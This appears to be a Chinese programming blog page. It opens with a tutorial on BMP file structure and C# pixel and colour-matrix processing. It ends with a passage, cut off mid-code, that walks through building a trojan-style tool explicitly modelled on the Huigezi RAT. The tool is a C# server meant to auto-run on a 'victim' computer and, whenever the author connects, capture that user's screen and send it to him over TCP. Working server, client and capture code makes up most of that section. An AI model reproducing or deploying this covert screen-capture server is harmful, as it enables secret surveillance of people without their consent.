assassinx's blog

向真红的技术博客
posts - 30, comments - 154, trackbacks - 0, articles - 2

置顶随笔

摘要: 本来就是入门的 那就先说下gdi 跟 bmp 这些东西吧。1 gdi跟bmpvc里的CDC 也就是设备上下文 相当于c#里的graphics ,也有lineTo等方法。其实我们在c#中使用graphics的时候就已经在使用gdi+了我们却浑然不觉那么gdi到底在哪里呢 试着在c盘搜索gdiplus或者gdi32名字的文件 你应该会找到 就像这个直接删除应该删不掉 不过你可以给他改个名字 别改了自己都搞忘了O(∩_∩)O哈!。 然后你随便运行个程序比如QQ 肿么样Initialization failure:0x0000000E使用windows自带的图片查看器 加载 c:\windows\sy阅读全文

posted @ 2012-03-07 21:43 assassinx 阅读(1103) 评论(4) 编辑

摘要: 这可能是菜鸟程序员最喜欢搞的事了哈,并且乐此不彼O(∩_∩)O哈!最开始本来只是想写段远程传文件的代码 写着写着我就突发奇想 想把别人电脑的截屏传过来,是不是很邪恶 嘿嘿倒腾了一阵原来还是挺简单的 并且速度好像还挺快。 在这里我就不谈socket编程的基本了哈 直奔主题我们要实现的功能是:在我有需要的时候就把受害人电脑的截屏数据传到我电脑上简单分析一下 参见灰鸽子 啊那啥的常见木马程序我们就知道主动传数据的一方 也就是server程序是放在受害人电脑上的 client程序是放在我电脑上的什么叫有需要呢 就是我主动去连server端。server端一检测到有连接就把数据发过来然后断开连接 一检测阅读全文

posted @ 2012-02-18 19:00 assassinx 阅读(5619) 评论(43) 编辑

摘要: 大家新年快乐吖 (¯▽¯;)这是一个包含所有代码的示例 可直接运行,主要包含了文件读写时二进制数据流和字符数据的处理并且我都写了很详细的注释 方便大家也方便自己学习:using System;using System.Net.NetworkInformation;using System.Text;using System.IO;namespace ConsoleApplication1{ class Program { static void Main(string[] args) { binaryWriteRead(); ...阅读全文

posted @ 2012-02-09 21:36 assassinx 阅读(285) 评论(1) 编辑

摘要: 最近做一些图像处理相关的东西 还是有那么一点点心得分享下第一部分:做一个画图板程序类windows里的mspaint首先是想到怎么把基本功能实现 铅笔阿 画线阿 画圆 画框阿 啥的,为了突出咱的不同 咱做一个对图形进行拖动 调整大小的功能 。要对图形重定义 那么要对图像保存元数据以便以后调整 说得忽悠点就是序列化啥的 砖家们经常这样讲 画线 铅笔 画圆 画框 这些在.net的graphic里调用都一句话的事 然后在onpaint里进行重绘就可以了。 明白原理自己去实现也不是不可以 以前我写过一篇在winfrom里画直线的文章 只是我们没有必要再去造轮子。我们先弄一个工具栏 整个工具切换效果 先阅读全文

posted @ 2011-11-02 05:00 assassinx 阅读(1542) 评论(7) 编辑

摘要: 准备在winform程序里做一个图片剪切功能,一个矩形框 有手柄 可进行调整 对图片进行裁剪。 就像ACDSee那样:在园子里找了下没有现成的东东,准备自己整个。仔细想了下对图片进行裁剪 裁剪这个过程完全不用我们费心因为.Net里盖茨大叔开的公司为我们提供了drawImage这个万能的函数啦,msdn里对他的大概解释是 把原图指定矩形区域的像素“画”到目标Image的指定矩形区域来看看: //图像裁剪 public Bitmap GetPartOfImage(Bitmap sourceImg, int width, int height, int offsetX, int offsetY) {阅读全文

posted @ 2011-09-13 00:46 assassinx 阅读(2166) 评论(37) 编辑

摘要: 俺又来耍宝了哈也许有人耍过了 就别喷我了 ,啊 那个 这位童鞋 你知道有这个东东么 ?熟么 不知道 不知道就对了 (俺就好忽悠了 挖哈哈)。我晕死到底是熟么啊这就是号称天上地下无所不知的wolframalpha科学计算引擎哈肿么读捏 ,我也不晓得 你可以把它读作“沃from阿尔法” 随便你咯 。他一出现日月无光飞沙走石哈。熟么google百度在他面前那简直都是浮云他其实并不是一个搜索引擎 它的独特之处是在你输入一串字母 他能马上理解问题 并给你答案。举个例子 比如你说 你好吗 他说 我很好,你说 3+2等于几 他说 等于5 嗯 就是这样 有点像人工智能哈最重要的一点是他有强大的数学函数计算功能阅读全文

posted @ 2011-07-23 08:01 assassinx 阅读(1636) 评论(6) 编辑

摘要: 哦啦啦,俺又来啦,几个月不见是不是很想俺呐,挖哈哈 (¯▽¯;)。俺这个文章纯属抛砖引玉 ,希望各位高手不要丢板砖啦。俺们写程序也就是一个乐趣 比不了你们这些博客园的牛x人啦这次俺们来秀下直线方程 小意思 见笑啦,俺们用得最多的就是.net了哈 所以依旧在.net平台上做测试好正题:先把一次函数搬出来哈直线的方程:y=ax+b地球人都知道哈啊,如果是初中都没上的同学请略过。。。还有两边都是1的直角等边三角形他的斜边是多少?当然是根号2啦 哈哈哈平常老在VC里lineTo()过去 lineTo()过来,童鞋们难道就没想过他是怎么来的么。如果知道了两个坐标(x1,y1 )(x2阅读全文

posted @ 2011-07-04 02:29 assassinx 阅读(1786) 评论(7) 编辑

摘要: 安装 vs2008会有附带的 sqlserver2005express版我们开发一般都用那个 都不单独安装sqlserver的地球人都知道express版的sql是没有 事件探查器的看到网上依然有好多菜鸟在寻找(其实偶也是菜鸟(¯▽¯;) 莫打我哈)看得让人蛋疼。俺今天就是来帮助解决这个问题的。事件探查器 在sql2000里也有,很强大 可以监视进程 查看连接数 查看死锁 什么...阅读全文

posted @ 2010-10-24 18:01 assassinx 阅读(4137) 评论(13) 编辑

摘要: 说在前头的:自认为写程序也有那么一段时间了,对面向对象编程还是有那么一丁点理解 (虽然现在一说OOP之类的文章 啊 网上满天飞)。大师称不上 见笑了哈 小菜一个。搞asp.net这么久了,网上一搜什么 web方面的 满天飞搜几篇winform的文章 弄死找不到,本人很菜。一个winform快捷键的问题解决不了(winform上方了文本框控件 点了文本框或者按钮后 winform的keydown事件...阅读全文

posted @ 2010-09-24 05:26 assassinx 阅读(589) 评论(1) 编辑

摘要: 在说源码之前俺 先说说,这个俄罗斯方块的“基本原理”,莫打我哈 ^_^1首先那个方块是由4个格子组合成的形状, 对吧2方块有两种情况会 卡住 ,一种是到底了 第二种是 跟其他堆积起来的方块产生“边界接触”。对吧3方块会自动下落,对吧 如果卡住了 又会在顶上出现新的方块4下落的过程中可以旋转(空间允许的情况下)5如果在堆积起来的方块中出现 &ldquo...阅读全文

posted @ 2010-09-24 05:23 assassinx 阅读(369) 评论(0) 编辑

摘要: 准备工作都做好了,关键部分“原理”也说了,该干点事了吧该主调程序 game类出场的时候了,不得不说的是,首先对于编程的人来说 不管你高手也好 菜鸟也好。对于你要做的事 目标要明确,你要做什么。怎么做 先做什么 后做什么,什么情况为“完成”,什么情况为“失败”这才是一个正常的 程序员应该有的思维,作为一个程序员 我们就是要看透事...阅读全文

posted @ 2010-09-24 05:22 assassinx 阅读(374) 评论(0) 编辑

摘要: 上几章那些代码都没什么难度 ,关键是清晰的条理,跟面向对象编程的思维。我们都是正常人,我们不是火星来的 我们不做高手。我们不写让人看不懂的代码,我们体验编程的乐趣。我们不需要有难度的代码,事实上合理的设计 ,跟面向对象的分析 跟编码 将会降低你“写程序的难度”,并且也让你的代码“看起来更简单”。推荐大家看一本书(翻译过来的名字)《C++游戏编程入门教...阅读全文

posted @ 2010-09-24 05:20 assassinx 阅读(455) 评论(0) 编辑

摘要: 写了几章了 ,该完了吧。是骡子是马拉出来溜溜 ,好歹得给点东西大家瞧瞧啊,光说不练假把式。最后在我们的form1窗体里 拖一个panel控件(俺就是喜欢拖控件,以呀咿呀哦),再放个lable用来显示分数拖成这样:然后再放个timmer控件 设置interval为500毫秒,设置enable=true编写interval 事件:窗体载入时:编写窗体的OnkeyDown事件(注意窗体上不要拖其他多余控...阅读全文

posted @ 2010-09-24 05:16 assassinx 阅读(2586) 评论(13) 编辑

2012年3月7日

本来就是入门的 那就先说下gdi 跟 bmp 这些东西吧。

1 gdi跟bmp


vc里的CDC 也就是设备上下文 相当于c#里的graphics ,也有lineTo等方法。
其实我们在c#中使用graphics的时候就已经在使用gdi+了我们却浑然不觉
那么gdi到底在哪里呢 试着在c盘搜索gdiplus或者gdi32名字的文件 你应该会找到 就像这个
直接删除应该删不掉 不过你可以给他改个名字 别改了自己都搞忘了O(∩_∩)O哈!。
然后你随便运行个程序比如QQ 肿么样
Initialization failure:0x0000000E
使用windows自带的图片查看器
加载 c:\windows\system32\shimgvw.dll时出错 系统找不到指定的文件。
所以说windows下到处都是gdi
不要以为bitmap是一种图像格式 就像jpg gif 一样 实际上他们是两个完全不同的概念。
在vc++里叫cbitmap 也就是对应的gdi数据模型 等同于c#里的bitmap
可以这样说.bmp的位图文件是gdi的文件表现形式。 位图文件不进行图像压缩算法操作直接存储像素矩阵信息所以文件体积非常大
jpg文件体积非常小为什么 jpg实际上它是按照完全不同的算法跟理念来存储图像的 都知道人的视觉效应
主要体现在两个方面 色彩的明暗度 色彩的饱和度 也就是色调(说俗点就是赤橙黄绿青蓝紫 )并且肉眼根本达不到每个像素那么大的分辨能力
jpg就是按照这种方式来存储的

2 位图文件格式


那么就先说下bmp文件格式吧,本人不是那种长篇大论型的 不说废话。
这个压缩包里工程的bin目录有一个叫bmpTestImg.bmp两色的位图文件。以16进制编辑器打开对照下图看 :
这里是下载链接

vc++里有定义好的bitmapheader 用来表示位图头信息 在C#里没有。
其实没多大关系的这只是一种数据组织方式
如果你愿意也可以定义这么一个结构。
gdi与设备无关 但是他并不代表跟设备没有任何关联 计算机之间传递的是图片文件或者图像数据 并不是gdi对象。
微软帮我们搞了这一层东西,就是说只要是接入windows的设备我们都可以通过
gdi在那个设备上显示 输出东西 而不用关系设备本身 ,可以说整个windows提供给我们的就是gdi 所有窗体
等等都是gdi绘制的,比如说做啥xx编程的时候要直接操纵显卡 实际上直接操纵的方式速度更快但是没有必要

所谓的24位真彩色 mspaint画图新建图像默认存储 就是24位真彩色 这并不是什么高深技术因为 一个像素的颜色用3个八位
来表示就是24位真彩色
真彩图像是说他具有显示 256x256x256种颜色的能力
还有就是c#里默认新建的bitmap对象就是24位真彩的 并且graphic提供的函数不能操作非真彩色的位图

3 水平不咋滴,还是来敲点代码吧,\(^o^)/~

先卖个关子哈 上面你下载的示例图片你看到东西了吗 还是黑乎乎一片 嘿嘿。如果你看到了那你见鬼了 还是赶快拜拜春哥吧
最近在研究那啥dicom 也学会拽文了 嘿嘿
是否可以这么描述:bmp是一种约定俗成的有规律的数据组织方式 不论他在内存中 在文件中 他跟特定编程语言无关 跟平台无关
bmp格式简而言之一句话 前54字节存储文件头信息最主要就是图像位数跟宽度高度,从54位开始有调色板则是调色板信息 无调色板则是像素数据。
由于本文不是专门探讨bmp文件格式 详细请参见bmp格式
好下面我们就来读取这种有规律的数据: 写第一个按钮事件的代码

void bmpRead()//读取bmp文件格式
{
    Image bmp = (Bitmap)Image.FromFile("bmpTestImg.bmp");

    MemoryStream bmpData = new MemoryStream();
    bmp.Save(bmpData, ImageFormat.Bmp);
    BinaryReader br = new BinaryReader(bmpData);
    //为什么要偏移18个字节 因为bmp格式"龟腚"在18字节那个地方开始用32位整型存储图像的宽度跟高度
    bmpData.Seek(18, SeekOrigin.Begin);
    int width = br.ReadInt32();
    int height = br.ReadInt32();
    MessageBox.Show(string.Format("宽{0},高{1}", width, height));
    //第11个字节处储存数据字节的起始位置
    bmpData.Seek(10, SeekOrigin.Begin);
    int dataStart = br.ReadInt32();

    byte[] datas = new byte[width * height];
    int indx = 0;
    bmpData.Seek(dataStart, SeekOrigin.Begin);
    //注意咯 这是调色板开始的位置 更改调色板将会让"看不见"的图像显示出来
    bmpData.Seek(54, SeekOrigin.Begin);
    Random rd = new Random();
    bmpData.Write(new byte[] { (byte)rd.Next(0, 255), (byte)rd.Next(0, 255), 
        (byte)rd.Next(0, 255), 0 }, 0, 4);
    bmpData.Write(new byte[] { (byte)rd.Next(0, 255), (byte)rd.Next(0, 255), 
        (byte)rd.Next(0, 255), 0 }, 0, 3);

    Image newbmp = Bitmap.FromStream(bmpData);
    Graphics.FromHwnd(this.Handle).DrawImage(newbmp, new Point(0, 0));
    bmpData.Close();
    br.Close();
}

上面的代码很简单滴 (⊙o⊙)哦 都看得懂吧 别忘了要在执行文件同级目录放上偶的图片哦 嘿嘿。
这个适合用来给girlfriend表白啊啥的O(∩_∩)O哈!
有几个需要说明的地方
bmp文件的两色 并非一定得是黑白 对吧  可以是红色绿色, 也可以是两种相同的色儿 对吧
为什么宽度要在第19字节的位置开始存储 没有为什么 这是bmp格式的“龟腚”对吧 要问去问盖茨大叔

对于“流”的操作 seek到前面去了 再进行write操作 是否就把对应位置的数据“挤”到后面去了呢?
NO 数据流是一种游标 “覆盖”型的操作 长度会自动标识到游标到过最远的地方 文件流内存流都一样
所以说想要做数据插入啊 文件合并啊之类的东东的话得弄两个数据流对象哈 互相倒腾数据 这样才能达到目的。
又扯远了哈 打住。

不是说读取数据吗 就是读取像素值数据啊,现在开始 
既然是读取像素值,咱得一行一行的读啊 就像扫描一样的。实际上他就是以这种方式存储的哈 只不过稍微有点不一样
那就是图像数据每行以四倍字节为基数不足以0补齐 乃明白了木有 。
比如说这一个扫描行有3个像素 那么就是9字节 ,4字节的倍数那么他必须要有12字节 那么剩下的3字节全是0。
比如说这一个扫描行有20个像素 那么就是60字节 ,4字节的倍数那么他必须要有60字节 因为60/4正好除净。

先来说下这个破公式 ((width * 24 + 31) / 32 * 4) 不知道是哪个头脑发热的人想出来的 ,注意这里的32是指32位 即4字节。
实际上我只想说两个字非常扯淡 一定是很深入的掌握了数据长度运算的本质, 一句把我上面那n多句都代替了
width是图像宽度 24代表每个像素位数。 计算出实际字节数 先假设他会超出一位 补齐31位 然后通过整型数据相除的性质 除以4字节得到4字节的倍数
注意最终得到的是扫描行的字节数
就这样从图像左下角第一个点开始 一行一行从左至右的往上扫描
然后是bmp图像素的存储方式是BGR的顺序哈 而不是通常的RGB 哦 别搞错了,
以前很菜的时候用SetPixel()处理像素 被人骂惨了 现在俺依然来写个setPix() 嘿嘿 第二个按钮的代码:

void setPix()//
{
    FileStream bmpData = File.Open("mm.bmp", FileMode.Open); BinaryReader br = new BinaryReader(bmpData);
    bmpData.Seek(10, SeekOrigin.Begin);int bmpDataStart = br.ReadInt32();
    bmpData.Seek(18, SeekOrigin.Begin);int width = br.ReadInt32();int height = br.ReadInt32();

    Bitmap newBmp = (Bitmap)new Bitmap(width, height, PixelFormat.Format24bppRgb);
    MemoryStream newBmpData = new MemoryStream();
    newBmp.Save(newBmpData, ImageFormat.Bmp);BinaryReader br2 = new BinaryReader(newBmpData);
    newBmpData.Seek(10, SeekOrigin.Begin); int newBmpDataStart = br2.ReadInt32();
    newBmpData.Seek(newBmpDataStart, SeekOrigin.Begin);

    for (int i = 0; i < height; i++)
    {
        bmpData.Seek(((width * 24 + 31) / 32 * 4) * i + bmpDataStart, SeekOrigin.Begin);
        newBmpData.Seek(((width * 24 + 31) / 32 * 4) * i + newBmpDataStart, SeekOrigin.Begin);
        for (int j = 0; j < width; j++)
        {
            //注意bmp的像素值是按照bgr的顺序存储的哦
            byte[] data = new byte[3];
            bmpData.Read(data, 0, 3);
            newBmpData.Write(new byte[] { data[2], data[1], data[0] }, 0, 3);                   
        }
        //下面的填充值要不要都可以 
        int fill = ((width * 24 + 31) / 32 * 4) - width * 3;
        if (fill > 0)
        {
            byte[] fills = new byte[] { 0, 0, 0 };
            newBmpData.Write(fills, 0, fills.Length);
        }
    }
    newBmpData.Flush();
    newBmp = (Bitmap)Bitmap.FromStream(newBmpData);
    Graphics.FromHwnd(this.Handle).DrawImage(newBmp, new Point(0, 0));

    bmpData.Close(); newBmpData.Close();
    br.Close(); br2.Close();
}

如果你把for (int i = 0; i < height; i++)改成 for (int i = 0; i < height/2; i++) 可以看下效果 可以证明在文件中是按照图像从左至右往上 的方式存储的
通过以上可以看出任何环境下他都是按照同种规律存储存储的,就像dicom 只要遵循这种规律就能通过这种格式实现数据共享。

都说lockBitmap的方式是最快的 ,确实是最快的哈 因为他是使用指针的方式
下面是把一个图像转成灰度图 你看 不但代码少了很多 并且还不用费尽心思去确定每一个扫描行的索引 你看 刷的一下 就出来了 嘿嘿
注意有unsafe代码 在项目->属性 勾选“允许不安全代码” :

void lockPix()
{
    Bitmap bmp = (Bitmap)Image.FromFile("mm.bmp");
    BitmapData datas = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), 
        System.Drawing.Imaging.ImageLockMode.ReadWrite, System.Drawing.Imaging.PixelFormat.Format24bppRgb);
    unsafe
    {
        byte* p = (byte*)datas.Scan0;
        int indx = 0;
        for (int i = 0; i < bmp.Height/2; i++)
        {
            for (int j = 0; j < bmp.Width; j++)
            {
                byte b, g, r; b = p[indx + 1]; g = p[indx + 2]; r = p[indx + 3];
                //byte lightLv = (byte)(r * 0.3 + g * 0.59 + b * 0.11);
                byte gray = (byte)((r + g + b) / 3);
                p[indx++] = gray; p[indx++] = gray; p[indx++] = gray;
            }
        }
    }

    bmp.UnlockBits(datas);
    Graphics.FromHwnd(this.Handle).DrawImage(bmp, new Point(0, 0));
    bmp.Dispose();
}

灰度图 哎呀 跟你说得又俗又土点就是对每个像素 rgb三个值加起来除以3  不想跟你讲那些我自己都不怎么明白的东西
但是还是不得不跟你说下所谓的yuv表示方式  y代表明度 说到这个又得要讲下矩阵乘法 真麻烦ya。

这个什么意思呢,先说说矩阵乘法吧
比如你商店里有帽子鞋子 袜子 单价分别表示为:
[25] [80] [15]
然后今天帽子卖了3件 鞋子卖了1件 袜子卖了两件,可表示为:
[3]
[1]
[2]
然后今天的收入呢=25x3+80x1+15x2 总共185 用矩阵表示为[185]
我第二天帽子卖了1件 鞋子卖了两件 袜子卖了3件,那么这两天的销售可表示为:
[3] [1]
[1] [2]
[2] [3]
那么这两天总共的收入呢=(25x3+80x1+15x2)+(25x1+80x2+15x3) 总共185+230=415 用矩阵表示为[185][230]
没错 你看到的这就是矩阵乘法 不想讲什么线性代数 什么的那么高深的理论

比如上面RGB转转YUV公式的3行3列 乘 3行1列 乘出来是 3行1列 ,
规律就是第一个矩阵的列跟第二个矩阵的行一致,得到一个首行尾列数的二维矩阵。
如果rgb值分别是{115,20,65} 那么转换成yuv表示应该是
y=115x0.299+20x0.587+65x0.114
u=115x-0.148+20x-0.289+65x0.437
v=115x0.615+20x-0.515+65x-0.1
貌似很难理解 因为这个跟前面那个卖东西的又不一样了可以换个角度看 。
把第二个矩阵往左“倒下来” 就是说让他的行跟第一个矩阵的列 对齐 是不是感觉好多了O(∩_∩)O哈!
整点复杂的 那再来随便整个吧
[2] [4]      [-1] [6]
[1] [0]      [3 ] [5]
结果是多少
2x-1+4x3      2x6+4x5
1x-1+0x3      1x6+0x5
最终结果
[10]      [32]
[-1]      [6]
也可以把它分解为单行单列的来看 就简单多了哈
有种很特殊的矩阵 有点像对角线
任何跟他相乘的矩阵都等于那个矩阵本身 有点像 “任何数乘以1 都等于那个数本身”
[1][0]
[0][1]

看吧矩阵乘法就是这么神奇的东东,通过矩阵乘法还可以进行角度旋转 缩放等等 
这个是很高深的研究课题了O(∩_∩)O哈! 这里就不讨论了

终于说完了 俺喝口水了先。也不知讲清楚了没 下面是各种矩阵乘法的示例代码 关于为什么是5x5的矩阵这个可以看下msdn
知识学无止境
第三个按钮:

void matrixColor()
{
    Bitmap bmp = (Bitmap)Image.FromFile("mm.bmp");
    ImageAttributes ia = new ImageAttributes();
    //灰阶
    //float[][] colorMatrix ={
    //                              new float[]{0.299f,0.299f, 0.299f, 0,  0},
    //                              new float[]{0.587f,0.587f, 0.587f, 0,  0},
    //                              new float[]{0.114f,0.114f, 0.114f, 0,  0},
    //                              new float[]{0,     0,      0,      1,  0},
    //                              new float[]{0,     0,      0,      0,  1}
    //                       };    

    //灰阶
    //float[][] colorMatrix ={
    //                              new float[]{0.3f,  0.3f,   0.3f,   0,  0},
    //                              new float[]{0.3f,  0.3f,   0.3f,   0,  0},
    //                              new float[]{0.3f,  0.3f,   0.3f,   0,  0},
    //                              new float[]{0,     0,      0,      1,  0},
    //                              new float[]{0,     0,      0,      0,  1}
    //                       };    

    //反色
    //float[][] colorMatrix ={
    //                              new float[]{-1,    0,      0,      0,  0},
    //                              new float[]{0,     -1,     0,      0,  0},
    //                              new float[]{0,     0,      -1,     0,  0},
    //                              new float[]{0,     0,      0,      1,  0},
    //                              new float[]{1,     1,      1,      0,  1}
    //                       };    

    //亮度
    float[][] colorMatrix ={
                                  new float[]{1,     0,      0,      0,  0},
                                  new float[]{0,     1,      0,      0,  0},
                                  new float[]{0,     0,      1,      0,  0},
                                  new float[]{0,     0,      0,      1,  0},
                                  new float[]{l,     l,      l,      0,  1}};
    l -= 0.1f;

    ColorMatrix cm = new ColorMatrix(colorMatrix);
    ia.SetColorMatrix(cm, ColorMatrixFlag.Default, ColorAdjustType.Bitmap);
    Graphics.FromHwnd(this.Handle).DrawImage(bmp, new Rectangle(0, 0, bmp.Width, bmp.Height),
        0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, ia);

}
float l = 0.5f;

 rgb为3个能量值 我们看到屏幕上花花绿绿 颜色是因为三个能量值产生差异化 说俗点就是三个值的比例不一样
如果三个值一样的话那就跟电灯泡无异了 就是纯亮度表示 即我们常说的灰度图。
来写个手工滴 很山寨滴 效率很低滴 更改亮度的函数

void light(ref int r, ref int g, ref int b)
{
    //计算后的平均值
    //增加亮度
    float gray= (r + g + b) + level * 90 > 255 * 3 ? 255 * 3 : (r + g + b) + level * 90;
    //降低亮度
    //float gray = (r + g + b) - level * 90 < 0 ? 0 : (r + g + b) - level * 90; ;
    float percentR = (float)r / (r + g + b), percentG = (float)g / (r + g + b), percentB = (float)b / (r + g + b);

    r = (int)(gray * percentR > 255 ? 255 : gray * percentR);
    g = (int)(gray * percentG > 255 ? 255 : gray * percentG);
    b = (int)(gray * percentB > 255 ? 255 : gray * percentB);

    float ren = gray - (r + g + b);
    if (ren >= 3)
    {
        r = (r + (int)ren) > 255 ? 255 : (r + (int)ren);
        g = (g + (int)ren) > 255 ? 255 : (g + (int)ren);
        b = (b + (int)ren) > 255 ? 255 : (b + (int)ren);
    }

}
int level = 0;

 其实呢也远可以不必这样 直接rgb分别乘以1.2 或者1.1之类的就可以了 只不过颜色会失真
示例文件及代码

 好了终于写完啦 好累ya

完了 ( ⊙ o ⊙ ) 本来就很菜 这点破秘密全被你们晓得了 以后出去俺还杂混呐

当然作为一个商业化的软件 代码的容错也是很重要的 你看acdsee 你把文件数据部分删除一些他照样能够显示 当然这些都是很简单的哈。

 

posted @ 2012-03-07 21:43 assassinx 阅读(1103) 评论(4) 编辑

2012年2月18日

这可能是菜鸟程序员最喜欢搞的事了哈,并且乐此不彼O(∩_∩)O哈!
最开始本来只是想写段远程传文件的代码 写着写着我就突发奇想 想把别人电脑的截屏传过来,是不是很邪恶 嘿嘿
倒腾了一阵原来还是挺简单的 并且速度好像还挺快。 在这里我就不谈socket编程的基本了哈 直奔主题

 

我们要实现的功能是:在我有需要的时候就把受害人电脑的截屏数据传到我电脑上
简单分析一下 参见灰鸽子 啊那啥的常见木马程序我们就知道主动传数据的一方 也就是server程序是放在受害人电脑上的 client程序是放在我电脑上的
什么叫有需要呢 就是我主动去连server端。
server端一检测到有连接就把数据发过来然后断开连接 一检测到有连接就把数据发过来然后断开连接 明白了吧 就是这么简单(¯▽¯;)
好 开工

 

1服务端编程

首先截屏的代码 四句 网上到处都有:

Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);

g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);

 数据有了然后就是发送了 也就是最常见的IO操作 ,把从本地文件读到的数据不停的写到网络流中:

//准备本地数据进行写入网络
FileStream fs = File.OpenRead("Capture.gif");

//写入消息头 文件长度,客户端根据此长度进行读取
writer.Write(fs.Length);
writer.Flush();

//本地文件缓冲区
byte[] data = new byte[10];
int reds;

int total = 0;

//写入的过程:
//先从本地文件读到缓冲区中,然后把缓冲区的字节数写入网络 
//直到网络写入成功后 再读取足够的字节数到本地文件缓冲区 
//如此往复直到整个文件全部传输出去
while ((reds = fs.Read(data, 0, data.Length)) > 0)
{
    writer.Write(data, 0, reds);
    total += reds;
}
fs.Close();
//如果没有进行close操作 tcp端口缓存的字节可能不会立即被发往客户端 
//所以这个是必须的
writer.Flush();

 好了服务端就这样了Ok 但是为了符合面向对象编程的原则 我们依然用对象的方式把“受害的过程”进行了一个包装
新建一个实例代表一次“受害” 新建一个实例代表一次“受害”   这样更便于理解。
请自己把上边抓屏以及往网络流写数据的代码粘到下边的send方法里:

//客户端线程
class ServerToClient
{
    TcpClient clientSocket;
    BinaryWriter writer;
    public ServerToClient(TcpClient client)
    {
        clientSocket = client;
        NetworkStream stream = clientSocket.GetStream();
        writer = new BinaryWriter(stream, Encoding.ASCII);
    }

    public void send()
    {
        
    }

    public void close()
    {
        writer.Close();
        clientSocket.Close();
    }
}

 “受害者”那端一开机程序就会自动运行  等待“有需要”的人过来 ,也就是偶啦 哇哈哈(¯▽¯;)   。 然后把自己截屏的数据给他  给完过后继续等待下一次被蹂躏。
下面是调用的代码:

static void Main(string[] args)
{
    TcpListener server = new TcpListener(6000);
    server.Start();

    while (true)
    {

        ServerToClient c = new ServerToClient(server.AcceptTcpClient());
        Console.WriteLine("新的连接");
        //防止传输过程中客户端掉线
        try
        {
            //c.send();
            c.sendAdvance();
            Console.WriteLine("发送完成");
            c.close();
        }
        catch (Exception ex)
        {
            Console.WriteLine("客户端已离线:" + ex.Message);
        }

    }
    server.Stop();
    Console.ReadKey();
}

 2客户端编程

客户端要做的事就很简单了: 请求连接->连上->传数据->关闭连接
连接的时候只需要提供server端ip和端口就可以了 这里我们依然封装一个Client类来进行这些所有的操作 在构造函数中进行连接服务器:

TcpClient client;
long fileLength;
BinaryReader reader;
byte[] data = new byte[8192];

//准备工作
public Client(IPAddress serverIp)
{
    int port = 6000;
    client = new TcpClient();
    client.Connect(serverIp, port);
    Console.WriteLine("连上了");
    NetworkStream stream = client.GetStream();
    reader = new BinaryReader(stream);
}

 其实重要的还是接收数据。 程序设计是一个严谨的东西 就跟泡妞是一种很严肃的社会活动一样 ,几个字节的误差就足以让连接中断 或者是图像显示不出来
我们在server端写数据的时候 writer.Write(fs.Length); 那么这是什么意思呢 把文件的大小值写入网络流的开始处。 让客户端在开始的时候就这道这个文件有多大
读到多少字节后就不应该读了。
fs.Length 是一个long型 那么long型到底是个神马意思呢 它代表Int64这个结构体 他占8个字节。就像这样的 0x00000000000000ff 
哥们儿你别担心不会有一个正常文件的长度会超过它的最大值的
在客户端我们读到的始终是连续或者不连续的字节码 我们得对他进行解码才知道server端传过来的文件到底有多大
关于二进制转十进制我专门写了一个函数:

//字节数组转长整型(二进制转十进制)
static long getNum(byte[] bytes)
{
    //int srcData = 312705998;
    //比如上面的int值在内存中是0x12a383ce 的形式存储的
    //但是他在文件中存储确是反过来的(低位在前 高位在后)
    //如果我一次读取4字节就是下面的形式
    //byte []data = {0xce,0x83,0xa3,0x12};

    long[] nums = { 1, 256, 65536, 16777216, 4294967296, 1099511627776, 281474976710656, 72057594037927936 };
    if (bytes.Length > nums.Length)
        throw new Exception("溢出");
    long num = 0;
    for (int i = 0; i < bytes.Length; i++)
        num += (bytes[i] * nums[i]);
    return num;
}

 下边是调用getNum获取数据长度以及 获取数据的过程:
注意他的工作过程,
首先会读取8个字节 这些所有的read操作都是调用的同步方法 就是说如果读不到8个字节 这个操作就会一直在那里挂起
得到数据长度过后 每read一次 就把读取到的字节数累加到reds变量中
如此往复 直到reds大于fileLength 退出循环
为了方便我们在这次传输完成后就直接把连接关闭了

//接收数据
public void recv()
{
    FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif");
    byte[] fileLengthSrc = new byte[8];

    try
    {
        reader.Read(fileLengthSrc, 0, 8);
        long fileLength = getNum(fileLengthSrc);

        long reds = 0;//已经读取字节数

        //开始传输
        while (reds < fileLength)
        {
            if (fileLength - reds > data.Length)
            {
                int red = reader.Read(data, 0, data.Length);
                if (red == 0)
                    break;
                fs.Write(data, 0, red);
                reds += red;
            }
            else if (fileLength - reds < data.Length && fileLength - reds > 0)
            {
                int red = reader.Read(data, 0, data.Length);
                if (red == 0)
                    break;
                fs.Write(data, 0, red);
                reds += red;
            }
            Thread.Sleep(10);
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
    }

    fs.Flush();
    fs.Close();
             
    reader.Close();
    client.Close();
}

 客户端调用过程:

static void Main(string[] args)
{
    IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1});
    if(args.Length>0)
    IPAddress.TryParse(args[0], out serverIp);

    Client c= new Client(serverIp);
    c.recv();

    Console.WriteLine("文件接收完成...");
    //Console.ReadKey();
}

客户端及服务端执行过程:

 

3后续

关于界面
为什么要做成没有界面的呢,有界面不是更好吗。首先我们只是要验证这一过程原理 有没有界面都界面都无所谓 如果你非要用鼠标点 你可以建个批处理
并且如果我要监视多台电脑 我还可以在批处理里这样写:

for /l %%a in (1,1,10) do socketdemo 192.168.0.%a

 命令行是多么的方便 为什么linux都是命令行优先 所以说要界面是非程序员的不靠谱的说法哈。

 

关于server端数据的发送
其实呢上边数据发送的代码跟大家罗里吧嗦了半天 只是跟大家说明数据发送的原理 ,
某些东西虽然看似简单其实内部它是经过了这些艰辛的过程的
实际上只要两句就完成数据发送 。丫的 现在才说  嘿嘿嘿  别打我吖 (;°○° )
ServerToClient类的send方法也可以是这样的 并且还省去了转存文件的过程直接写到网络流中:

public void sendAdvance()
{
    Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
    Graphics g = Graphics.FromImage(myImg);
   
    g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
